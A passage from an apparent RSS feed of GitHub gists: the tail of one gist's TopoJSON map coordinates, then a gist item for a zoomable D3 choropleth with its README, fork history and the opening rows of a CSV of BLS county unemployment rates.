-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/3dd69f510085138459f3b2702347563f">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/a13a390b32f5dc70a62aeb3af5e8e568</link>
      <guid isPermaLink="true">https://gist.github.com/a13a390b32f5dc70a62aeb3af5e8e568</guid>
      <pubDate>Wed, 21 Sep 2016 18:07:15 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:07:15.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>4559</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6248</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
